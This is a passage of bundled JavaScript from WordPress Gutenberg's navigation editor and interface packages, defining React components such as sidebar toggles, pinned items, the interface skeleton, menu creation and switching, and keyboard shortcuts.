}; })); ;// CONCATENATED MODULE: ./packages/interface/build-module/components/complementary-area-toggle/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function ComplementaryAreaToggle(_ref) { let { as = external_wp_components_namespaceObject.Button, scope, identifier, icon, selectedIcon, name, ...props } = _ref; const ComponentToUse = as; const isSelected = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getActiveComplementaryArea(scope) === identifier, [identifier]); const { enableComplementaryArea, disableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); return (0,external_wp_element_namespaceObject.createElement)(ComponentToUse, _extends({ icon: selectedIcon && isSelected ? selectedIcon : icon, onClick: () => { if (isSelected) { disableComplementaryArea(scope); } else { enableComplementaryArea(scope, identifier); } } }, props)); } /* harmony default export */ const complementary_area_toggle = (complementary_area_context(ComplementaryAreaToggle)); ;// CONCATENATED MODULE: ./packages/interface/build-module/components/complementary-area-header/index.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ const ComplementaryAreaHeader = _ref => { let { smallScreenTitle, children, className, toggleButtonProps } = _ref; const toggleButton = (0,external_wp_element_namespaceObject.createElement)(complementary_area_toggle, _extends({ icon: close_small }, toggleButtonProps)); return (0,external_wp_element_namespaceObject.createElement)(external_wp_element_namespaceObject.Fragment, null, (0,external_wp_element_namespaceObject.createElement)("div", { className: "components-panel__header interface-complementary-area-header__small" }, smallScreenTitle && (0,external_wp_element_namespaceObject.createElement)("span", { className: "interface-complementary-area-header__small-title" }, smallScreenTitle), toggleButton), (0,external_wp_element_namespaceObject.createElement)("div", { className: classnames_default()('components-panel__header', 'interface-complementary-area-header', className), tabIndex: -1 }, children, toggleButton)); }; /* harmony default export */ const complementary_area_header = (ComplementaryAreaHeader); ;// CONCATENATED MODULE: ./packages/interface/build-module/components/action-item/index.js /** * WordPress dependencies */ const noop = () => {}; function ActionItemSlot(_ref) { let { name, as: Component = external_wp_components_namespaceObject.ButtonGroup, fillProps = {}, bubblesVirtually, ...props } = _ref; return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Slot, { name: name, bubblesVirtually: bubblesVirtually, fillProps: fillProps }, fills => { if (!external_wp_element_namespaceObject.Children.toArray(fills).length) { return null; } // Special handling exists for backward compatibility. // It ensures that menu items created by plugin authors aren't // duplicated with automatically injected menu items coming // from pinnable plugin sidebars. // @see https://github.com/WordPress/gutenberg/issues/14457 const initializedByPlugins = []; external_wp_element_namespaceObject.Children.forEach(fills, _ref2 => { let { props: { __unstableExplicitMenuItem, __unstableTarget } } = _ref2; if (__unstableTarget && __unstableExplicitMenuItem) { initializedByPlugins.push(__unstableTarget); } }); const children = external_wp_element_namespaceObject.Children.map(fills, child => { if (!child.props.__unstableExplicitMenuItem && initializedByPlugins.includes(child.props.__unstableTarget)) { return null; } return child; }); return (0,external_wp_element_namespaceObject.createElement)(Component, props, children); }); } function ActionItem(_ref3) { let { name, as: Component = external_wp_components_namespaceObject.Button, onClick, ...props } = _ref3; return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Fill, { name: name }, _ref4 => { let { onClick: fpOnClick } = _ref4; return (0,external_wp_element_namespaceObject.createElement)(Component, _extends({ onClick: onClick || fpOnClick ? function () { (onClick || noop)(...arguments); (fpOnClick || noop)(...arguments); } : undefined }, props)); }); } ActionItem.Slot = ActionItemSlot; /* harmony default export */ const action_item = (ActionItem); ;// CONCATENATED MODULE: ./packages/interface/build-module/components/complementary-area-more-menu-item/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const PluginsMenuItem = _ref => { let { // Menu item is marked with unstable prop for backward compatibility. // They are removed so they don't leak to DOM elements. // @see https://github.com/WordPress/gutenberg/issues/14457 __unstableExplicitMenuItem, __unstableTarget, ...restProps } = _ref; return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.MenuItem, restProps); }; function ComplementaryAreaMoreMenuItem(_ref2) { let { scope, target, __unstableExplicitMenuItem, ...props } = _ref2; return (0,external_wp_element_namespaceObject.createElement)(complementary_area_toggle, _extends({ as: toggleProps => { return (0,external_wp_element_namespaceObject.createElement)(action_item, _extends({ __unstableExplicitMenuItem: __unstableExplicitMenuItem, __unstableTarget: `${scope}/${target}`, as: PluginsMenuItem, name: `${scope}/plugin-more-menu` }, toggleProps)); }, role: "menuitemcheckbox", selectedIcon: library_check, name: target, scope: scope }, props)); } ;// CONCATENATED MODULE: ./packages/interface/build-module/components/pinned-items/index.js /** * External dependencies */ /** * WordPress dependencies */ function PinnedItems(_ref) { let { scope, ...props } = _ref; return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Fill, _extends({ name: `PinnedItems/${scope}` }, props)); } function PinnedItemsSlot(_ref2) { let { scope, className, ...props } = _ref2; return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Slot, _extends({ name: `PinnedItems/${scope}` }, props), fills => (fills === null || fills === void 0 ? void 0 : fills.length) > 0 && (0,external_wp_element_namespaceObject.createElement)("div", { className: classnames_default()(className, 'interface-pinned-items') }, fills)); } PinnedItems.Slot = PinnedItemsSlot; /* harmony default export */ const pinned_items = (PinnedItems); ;// CONCATENATED MODULE: ./packages/interface/build-module/components/complementary-area/index.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ function ComplementaryAreaSlot(_ref) { let { scope, ...props } = _ref; return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Slot, _extends({ name: `ComplementaryArea/${scope}` }, props)); } function ComplementaryAreaFill(_ref2) { let { scope, children, className } = _ref2; return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Fill, { name: `ComplementaryArea/${scope}` }, (0,external_wp_element_namespaceObject.createElement)("div", { className: className }, children)); } function useAdjustComplementaryListener(scope, identifier, activeArea, isActive, isSmall) { const previousIsSmall = (0,external_wp_element_namespaceObject.useRef)(false); const shouldOpenWhenNotSmall = (0,external_wp_element_namespaceObject.useRef)(false); const { enableComplementaryArea, disableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); (0,external_wp_element_namespaceObject.useEffect)(() => { // If the complementary area is active and the editor is switching from a big to a small window size. if (isActive && isSmall && !previousIsSmall.current) { // Disable the complementary area. disableComplementaryArea(scope); // Flag the complementary area to be reopened when the window size goes from small to big. shouldOpenWhenNotSmall.current = true; } else if ( // If there is a flag indicating the complementary area should be enabled when we go from small to big window size // and we are going from a small to big window size. shouldOpenWhenNotSmall.current && !isSmall && previousIsSmall.current) { // Remove the flag indicating the complementary area should be enabled. shouldOpenWhenNotSmall.current = false; // Enable the complementary area. enableComplementaryArea(scope, identifier); } else if ( // If the flag is indicating the current complementary should be reopened but another complementary area becomes active, // remove the flag. shouldOpenWhenNotSmall.current && activeArea && activeArea !== identifier) { shouldOpenWhenNotSmall.current = false; } if (isSmall !== previousIsSmall.current) { previousIsSmall.current = isSmall; } }, [isActive, isSmall, scope, identifier, activeArea]); } function ComplementaryArea(_ref3) { let { children, className, closeLabel = (0,external_wp_i18n_namespaceObject.__)('Close plugin'), identifier, header, headerClassName, icon, isPinnable = true, panelClassName, scope, name, smallScreenTitle, title, toggleShortcut, isActiveByDefault, showIconLabels = false } = _ref3; const { isActive, isPinned, activeArea, isSmall, isLarge } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { getActiveComplementaryArea, isItemPinned } = select(store_store); const _activeArea = getActiveComplementaryArea(scope); return { isActive: _activeArea === identifier, isPinned: isItemPinned(scope, identifier), activeArea: _activeArea, isSmall: select(external_wp_viewport_namespaceObject.store).isViewportMatch('< medium'), isLarge: select(external_wp_viewport_namespaceObject.store).isViewportMatch('large') }; }, [identifier, scope]); useAdjustComplementaryListener(scope, identifier, activeArea, isActive, isSmall); const { enableComplementaryArea, disableComplementaryArea, pinItem, unpinItem } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); (0,external_wp_element_namespaceObject.useEffect)(() => { if (isActiveByDefault && activeArea === undefined && !isSmall) { enableComplementaryArea(scope, identifier); } }, [activeArea, isActiveByDefault, scope, identifier, isSmall]); return (0,external_wp_element_namespaceObject.createElement)(external_wp_element_namespaceObject.Fragment, null, isPinnable && (0,external_wp_element_namespaceObject.createElement)(pinned_items, { scope: scope }, isPinned && (0,external_wp_element_namespaceObject.createElement)(complementary_area_toggle, { scope: scope, identifier: identifier, isPressed: isActive && (!showIconLabels || isLarge), "aria-expanded": isActive, label: title, icon: showIconLabels ? library_check : icon, showTooltip: !showIconLabels, variant: showIconLabels ? 'tertiary' : undefined })), name && isPinnable && (0,external_wp_element_namespaceObject.createElement)(ComplementaryAreaMoreMenuItem, { target: name, scope: scope, icon: icon }, title), isActive && (0,external_wp_element_namespaceObject.createElement)(ComplementaryAreaFill, { className: classnames_default()('interface-complementary-area', className), scope: scope }, (0,external_wp_element_namespaceObject.createElement)(complementary_area_header, { className: headerClassName, closeLabel: closeLabel, onClose: () => disableComplementaryArea(scope), smallScreenTitle: smallScreenTitle, toggleButtonProps: { label: closeLabel, shortcut: toggleShortcut, scope, identifier } }, header || (0,external_wp_element_namespaceObject.createElement)(external_wp_element_namespaceObject.Fragment, null, (0,external_wp_element_namespaceObject.createElement)("strong", null, title), isPinnable && (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Button, { className: "interface-complementary-area__pin-unpin-item", icon: isPinned ? star_filled : star_empty, label: isPinned ? (0,external_wp_i18n_namespaceObject.__)('Unpin from toolbar') : (0,external_wp_i18n_namespaceObject.__)('Pin to toolbar'), onClick: () => (isPinned ? unpinItem : pinItem)(scope, identifier), isPressed: isPinned, "aria-expanded": isPinned }))), (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Panel, { className: panelClassName }, children))); } const ComplementaryAreaWrapped = complementary_area_context(ComplementaryArea); ComplementaryAreaWrapped.Slot = ComplementaryAreaSlot; /* harmony default export */ const complementary_area = (ComplementaryAreaWrapped); ;// CONCATENATED MODULE: ./packages/interface/build-module/components/interface-skeleton/index.js /** * External dependencies */ /** * WordPress dependencies */ function useHTMLClass(className) { (0,external_wp_element_namespaceObject.useEffect)(() => { const element = document && document.querySelector(`html:not(.${className})`); if (!element) { return; } element.classList.toggle(className); return () => { element.classList.toggle(className); }; }, [className]); } function InterfaceSkeleton(_ref, ref) { let { footer, header, sidebar, secondarySidebar, notices, content, drawer, actions, labels, className, shortcuts } = _ref; const navigateRegionsProps = (0,external_wp_components_namespaceObject.__unstableUseNavigateRegions)(shortcuts); useHTMLClass('interface-interface-skeleton__html-container'); const defaultLabels = { /* translators: accessibility text for the nav bar landmark region. */ drawer: (0,external_wp_i18n_namespaceObject.__)('Drawer'), /* translators: accessibility text for the top bar landmark region. */ header: (0,external_wp_i18n_namespaceObject.__)('Header'), /* translators: accessibility text for the content landmark region. */ body: (0,external_wp_i18n_namespaceObject.__)('Content'), /* translators: accessibility text for the secondary sidebar landmark region. */ secondarySidebar: (0,external_wp_i18n_namespaceObject.__)('Block Library'), /* translators: accessibility text for the settings landmark region. */ sidebar: (0,external_wp_i18n_namespaceObject.__)('Settings'), /* translators: accessibility text for the publish landmark region. */ actions: (0,external_wp_i18n_namespaceObject.__)('Publish'), /* translators: accessibility text for the footer landmark region. */ footer: (0,external_wp_i18n_namespaceObject.__)('Footer') }; const mergedLabels = { ...defaultLabels, ...labels }; return (0,external_wp_element_namespaceObject.createElement)("div", _extends({}, navigateRegionsProps, { ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([ref, navigateRegionsProps.ref]), className: classnames_default()(className, 'interface-interface-skeleton', navigateRegionsProps.className, !!footer && 'has-footer') }), !!drawer && (0,external_wp_element_namespaceObject.createElement)("div", { className: "interface-interface-skeleton__drawer", role: "region", "aria-label": mergedLabels.drawer, tabIndex: "-1" }, drawer), (0,external_wp_element_namespaceObject.createElement)("div", { className: "interface-interface-skeleton__editor" }, !!header && (0,external_wp_element_namespaceObject.createElement)("div", { className: "interface-interface-skeleton__header", role: "region", "aria-label": mergedLabels.header, tabIndex: "-1" }, header), (0,external_wp_element_namespaceObject.createElement)("div", { className: "interface-interface-skeleton__body" }, !!secondarySidebar && (0,external_wp_element_namespaceObject.createElement)("div", { className: "interface-interface-skeleton__secondary-sidebar", role: "region", "aria-label": mergedLabels.secondarySidebar, tabIndex: "-1" }, secondarySidebar), !!notices && (0,external_wp_element_namespaceObject.createElement)("div", { className: "interface-interface-skeleton__notices" }, notices), (0,external_wp_element_namespaceObject.createElement)("div", { className: "interface-interface-skeleton__content", role: "region", "aria-label": mergedLabels.body, tabIndex: "-1" }, content), !!sidebar && (0,external_wp_element_namespaceObject.createElement)("div", { className: "interface-interface-skeleton__sidebar", role: "region", "aria-label": mergedLabels.sidebar, tabIndex: "-1" }, sidebar), !!actions && (0,external_wp_element_namespaceObject.createElement)("div", { className: "interface-interface-skeleton__actions", role: "region", "aria-label": mergedLabels.actions, tabIndex: "-1" }, actions))), !!footer && (0,external_wp_element_namespaceObject.createElement)("div", { className: "interface-interface-skeleton__footer", role: "region", "aria-label": mergedLabels.footer, tabIndex: "-1" }, footer)); } /* harmony default export */ const interface_skeleton = ((0,external_wp_element_namespaceObject.forwardRef)(InterfaceSkeleton)); ;// CONCATENATED MODULE: ./packages/icons/build-module/library/more-vertical.js /** * WordPress dependencies */ const moreVertical = (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.Path, { d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z" })); /* harmony default export */ const more_vertical = (moreVertical); ;// CONCATENATED MODULE: ./packages/interface/build-module/components/more-menu-dropdown/index.js /** * External dependencies */ /** * WordPress dependencies */ function MoreMenuDropdown(_ref) { let { as: DropdownComponent = external_wp_components_namespaceObject.DropdownMenu, className, /* translators: button label text should, if possible, be under 16 characters. */ label = (0,external_wp_i18n_namespaceObject.__)('Options'), popoverProps, toggleProps, children } = _ref; return (0,external_wp_element_namespaceObject.createElement)(DropdownComponent, { className: classnames_default()('interface-more-menu-dropdown', className), icon: more_vertical, label: label, popoverProps: { position: 'bottom left', ...popoverProps, className: classnames_default()('interface-more-menu-dropdown__content', popoverProps === null || popoverProps === void 0 ? void 0 : popoverProps.className) }, toggleProps: { tooltipPosition: 'bottom', ...toggleProps } }, onClose => children(onClose)); } ;// CONCATENATED MODULE: ./packages/interface/build-module/components/index.js ;// CONCATENATED MODULE: ./packages/interface/build-module/index.js ;// CONCATENATED MODULE: external ["wp","htmlEntities"] const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"]; ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/name-display/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function NameDisplay() { const { enableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); const [menuId] = useSelectedMenuId(); const [name] = useMenuEntityProp('name', menuId); const [, setIsMenuNameEditFocused] = (0,external_wp_element_namespaceObject.useContext)(IsMenuNameControlFocusedContext); const menuName = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(name !== null && name !== void 0 ? name : untitledMenu); return (0,external_wp_element_namespaceObject.createElement)(external_wp_blockEditor_namespaceObject.BlockControls, null, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.ToolbarGroup, null, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.ToolbarButton, { "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: the name of a menu. (0,external_wp_i18n_namespaceObject.__)(`Edit menu name: %s`), menuName), onClick: () => { enableComplementaryArea(SIDEBAR_SCOPE, SIDEBAR_MENU); setIsMenuNameEditFocused(true); } }, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.__experimentalText, { limit: 24, ellipsizeMode: "tail", truncate: true }, menuName)))); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/filters/add-menu-name-editor.js /** * WordPress dependencies */ /** * Internal dependencies */ const addMenuNameEditor = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(BlockEdit => props => { if (props.name !== 'core/navigation') { return (0,external_wp_element_namespaceObject.createElement)(BlockEdit, props); } return (0,external_wp_element_namespaceObject.createElement)(external_wp_element_namespaceObject.Fragment, null, (0,external_wp_element_namespaceObject.createElement)(NameDisplay, null), (0,external_wp_element_namespaceObject.createElement)(BlockEdit, props)); }, 'withMenuName'); /* harmony default export */ const add_menu_name_editor = (() => (0,external_wp_hooks_namespaceObject.addFilter)('editor.BlockEdit', 'core/edit-navigation/with-menu-name', addMenuNameEditor)); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/filters/disable-inserting-non-navigation-blocks.js /** * WordPress dependencies */ /** * External dependencies */ function disableInsertingNonNavigationBlocks(settings, name) { if (!['core/navigation', 'core/navigation-link', 'core/navigation-submenu'].includes(name)) { (0,external_lodash_namespaceObject.set)(settings, ['supports', 'inserter'], false); } return settings; } /* harmony default export */ const disable_inserting_non_navigation_blocks = (() => (0,external_wp_hooks_namespaceObject.addFilter)('blocks.registerBlockType', 'core/edit-navigation/disable-inserting-non-navigation-blocks', disableInsertingNonNavigationBlocks)); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/filters/remove-edit-unsupported-features.js /** * WordPress dependencies */ const removeNavigationBlockEditUnsupportedFeatures = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(BlockEdit => props => { if (props.name !== 'core/navigation') { return (0,external_wp_element_namespaceObject.createElement)(BlockEdit, props); } return (0,external_wp_element_namespaceObject.createElement)(BlockEdit, _extends({}, props, { hasSubmenuIndicatorSetting: false, hasItemJustificationControls: false, hasColorSettings: false })); }, 'removeNavigationBlockEditUnsupportedFeatures'); /* harmony default export */ const remove_edit_unsupported_features = (() => (0,external_wp_hooks_namespaceObject.addFilter)('editor.BlockEdit', 'core/edit-navigation/remove-navigation-block-edit-unsupported-features', removeNavigationBlockEditUnsupportedFeatures)); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/filters/remove-settings-unsupported-features.js /** * WordPress dependencies */ function removeNavigationBlockSettingsUnsupportedFeatures(settings, name) { if (name !== 'core/navigation') { return settings; } return { ...settings, supports: { customClassName: false, html: false, inserter: true }, // Remove any block variations. variations: undefined }; } /* harmony default export */ const remove_settings_unsupported_features = (() => (0,external_wp_hooks_namespaceObject.addFilter)('blocks.registerBlockType', 'core/edit-navigation/remove-navigation-block-settings-unsupported-features', removeNavigationBlockSettingsUnsupportedFeatures)); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/filters/index.js /** * Internal dependencies */ const addFilters = shouldAddDisableInsertingNonNavigationBlocksFilter => { add_navigation_editor_custom_appender(); add_navigation_editor_placeholder(); add_menu_name_editor(); if (shouldAddDisableInsertingNonNavigationBlocksFilter) { disable_inserting_non_navigation_blocks(); } remove_edit_unsupported_features(); remove_settings_unsupported_features(); }; ;// CONCATENATED MODULE: external ["wp","keyboardShortcuts"] const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"]; ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/add-menu/index.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ function AddMenu(_ref) { let { className, onCreate, titleText, helpText, focusInputOnMount = false, noticeUI, noticeOperations } = _ref; const inputRef = (0,external_wp_compose_namespaceObject.useFocusOnMount)(focusInputOnMount); const [menuName, setMenuName] = (0,external_wp_element_namespaceObject.useState)(''); const [isCreatingMenu, setIsCreatingMenu] = (0,external_wp_element_namespaceObject.useState)(false); const { createInfoNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store); const { saveMenu } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store); const { createErrorNotice, removeAllNotices } = noticeOperations; const lastSaveError = (0,external_wp_data_namespaceObject.useSelect)(select => { return select(external_wp_coreData_namespaceObject.store).getLastEntitySaveError(MENU_KIND, MENU_POST_TYPE); }, []); (0,external_wp_element_namespaceObject.useEffect)(() => { if (lastSaveError) { createErrorNotice((0,external_wp_dom_namespaceObject.__unstableStripHTML)(lastSaveError === null || lastSaveError === void 0 ? void 0 : lastSaveError.message)); } }, [lastSaveError]); const createMenu = async event => { event.preventDefault(); if (!menuName.length || isCreatingMenu) { return; } setIsCreatingMenu(true); // Remove any existing notices. removeAllNotices(); const menu = await saveMenu({ name: menuName }); setIsCreatingMenu(false); if (menu) { createInfoNotice((0,external_wp_i18n_namespaceObject.__)('Menu created'), { type: 'snackbar', isDismissible: true }); if (onCreate) { onCreate(menu.id); } } }; return (0,external_wp_element_namespaceObject.createElement)("form", { className: classnames_default()('edit-navigation-add-menu', className), onSubmit: createMenu }, noticeUI, titleText && (0,external_wp_element_namespaceObject.createElement)("h3", { className: "edit-navigation-add-menu__title" }, titleText), (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.TextControl, { ref: inputRef, label: (0,external_wp_i18n_namespaceObject.__)('Menu name'), value: menuName, onChange: setMenuName, help: helpText }), (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Button, { className: "edit-navigation-add-menu__create-menu-button", type: "submit", variant: "primary", disabled: !menuName.length, isBusy: isCreatingMenu /* Button is disabled but still focusable. */ , "aria-disabled": !menuName.length || isCreatingMenu }, (0,external_wp_i18n_namespaceObject.__)('Create menu'))); } /* harmony default export */ const add_menu = ((0,external_wp_components_namespaceObject.withNotices)(AddMenu)); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/menu-switcher/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const menu_switcher_noop = () => {}; function MenuSwitcher(_ref) { let { menus, selectedMenuId, onSelectMenu = menu_switcher_noop } = _ref; const [isModalVisible, setIsModalVisible] = (0,external_wp_element_namespaceObject.useState)(false); const openModal = () => setIsModalVisible(true); const closeModal = () => setIsModalVisible(false); return (0,external_wp_element_namespaceObject.createElement)(external_wp_element_namespaceObject.Fragment, null, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.MenuGroup, null, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.MenuItemsChoice, { value: selectedMenuId, onSelect: onSelectMenu, choices: menus.map(_ref2 => { let { id, name } = _ref2; return { value: id, label: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(name), 'aria-label': (0,external_wp_i18n_namespaceObject.sprintf)( /* translators: %s: The name of a menu. */ (0,external_wp_i18n_namespaceObject.__)("Switch to '%s'"), name) }; }) })), (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.MenuGroup, { hideSeparator: true }, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.MenuItem, { className: "edit-navigation-menu-switcher__new-button", onClick: openModal }, (0,external_wp_i18n_namespaceObject.__)('Create a new menu')), isModalVisible && (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Modal, { title: (0,external_wp_i18n_namespaceObject.__)('Create a new menu'), className: "edit-navigation-menu-switcher__modal", onRequestClose: closeModal }, (0,external_wp_element_namespaceObject.createElement)(add_menu, { onCreate: menuId => { closeModal(); onSelectMenu(menuId); }, helpText: (0,external_wp_i18n_namespaceObject.__)('A short descriptive name for your menu.') })))); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/layout/unselected-menu-state.js /** * WordPress dependencies */ /** * Internal dependencies */ function UnselectedMenuState(_ref) { let { onCreate, onSelectMenu, menus } = _ref; const showMenuSwitcher = (menus === null || menus === void 0 ? void 0 : menus.length) > 0; return (0,external_wp_element_namespaceObject.createElement)("div", { className: "edit-navigation-empty-state" }, showMenuSwitcher && (0,external_wp_element_namespaceObject.createElement)("h4", null, (0,external_wp_i18n_namespaceObject.__)('Choose a menu to edit:')), (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Card, null, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.CardBody, null, showMenuSwitcher ? (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.NavigableMenu, null, (0,external_wp_element_namespaceObject.createElement)(MenuSwitcher, { onSelectMenu: onSelectMenu, menus: menus })) : (0,external_wp_element_namespaceObject.createElement)(add_menu, { onCreate: onCreate, titleText: (0,external_wp_i18n_namespaceObject.__)('Create your first menu'), helpText: (0,external_wp_i18n_namespaceObject.__)('A short descriptive name for your menu.'), focusInputOnMount: true })))); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/error-boundary/index.js /** * WordPress dependencies */ class ErrorBoundary extends external_wp_element_namespaceObject.Component { constructor() { super(...arguments); this.reboot = this.reboot.bind(this); this.state = { error: null }; } componentDidCatch(error) { this.setState({ error }); } reboot() { if (this.props.onError) { this.props.onError(); } } render() { const { error } = this.state; if (!error) { return this.props.children; } return (0,external_wp_element_namespaceObject.createElement)(external_wp_blockEditor_namespaceObject.Warning, { className: "navigation-editor-error-boundary", actions: [(0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Button, { key: "recovery", onClick: this.reboot, variant: "secondary" }, (0,external_wp_i18n_namespaceObject.__)('Attempt Recovery'))] }, (0,external_wp_i18n_namespaceObject.__)('The navigation editor has encountered an unexpected error.')); } } /* harmony default export */ const error_boundary = (ErrorBoundary); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/layout/shortcuts.js /** * WordPress dependencies */ function NavigationEditorShortcuts(_ref) { let { saveBlocks } = _ref; (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/edit-navigation/save-menu', event => { event.preventDefault(); saveBlocks(); }); const { redo, undo } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store); (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/edit-navigation/undo', event => { undo(); event.preventDefault(); }); (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/edit-navigation/redo', event => { redo(); event.preventDefault(); }); return null; } function RegisterNavigationEditorShortcuts() { const { registerShortcut } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store); (0,external_wp_element_namespaceObject.useEffect)(() => { registerShortcut({ name: 'core/edit-navigation/save-menu', category: 'global', description: (0,external_wp_i18n_namespaceObject.__)('Save the navigation currently being edited.'), keyCombination: { modifier: 'primary', character: 's' } }); registerShortcut({ name: 'core/edit-navigation/undo', category: 'global', description: (0,external_wp_i18n_namespaceObject.__)('Undo your last changes.'), keyCombination: { modifier: 'primary', character: 'z' } }); registerShortcut({ name: 'core/edit-navigation/redo', category: 'global', description: (0,external_wp_i18n_namespaceObject.__)('Redo your last undo.'), keyCombination: { modifier: 'primaryShift', character: 'z' } }); }, [registerShortcut]); return null; } NavigationEditorShortcuts.Register = RegisterNavigationEditorShortcuts; /* harmony default export */ const shortcuts = (NavigationEditorShortcuts); ;// CONCATENATED MODULE: ./packages/icons/build-module/library/cog.js /** * WordPress dependencies */ const cog = (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.Path, { fillRule: "evenodd", d: "M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z", clipRule: "evenodd" })); /* harmony default export */ const library_cog = (cog); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/sidebar/sidebar-header.js /** * WordPress dependencies */ /** * Internal dependencies */ function SidebarHeader(_ref) { let { sidebarName } = _ref; const { enableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); const openMenuSettings = () => enableComplementaryArea(SIDEBAR_SCOPE, SIDEBAR_MENU); const openBlockSettings = () => enableComplementaryArea(SIDEBAR_SCOPE, SIDEBAR_BLOCK); const [menuAriaLabel, menuActiveClass] = sidebarName === SIDEBAR_MENU ? // translators: ARIA label for the Menu sidebar tab, selected. [(0,external_wp_i18n_namespaceObject.__)('Menu (selected)'), 'is-active'] : // translators: ARIA label for the Menu Settings Sidebar tab, not selected. [(0,external_wp_i18n_namespaceObject.__)('Menu'), '']; const [blockAriaLabel, blockActiveClass] = sidebarName === SIDEBAR_BLOCK ? // translators: ARIA label for the Block Settings Sidebar tab, selected. [(0,external_wp_i18n_namespaceObject.__)('Block (selected)'), 'is-active'] : // translators: ARIA label for the Block Settings Sidebar tab, not selected. [(0,external_wp_i18n_namespaceObject.__)('Block'), '']; /* Use a list so screen readers will announce how many tabs there are. */ return (0,external_wp_element_namespaceObject.createElement)("ul", null, (0,external_wp_element_namespaceObject.createElement)("li", null, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Button, { onClick: openMenuSettings, className: `edit-navigation-sidebar__panel-tab ${menuActiveClass}`, "aria-label": menuAriaLabel // 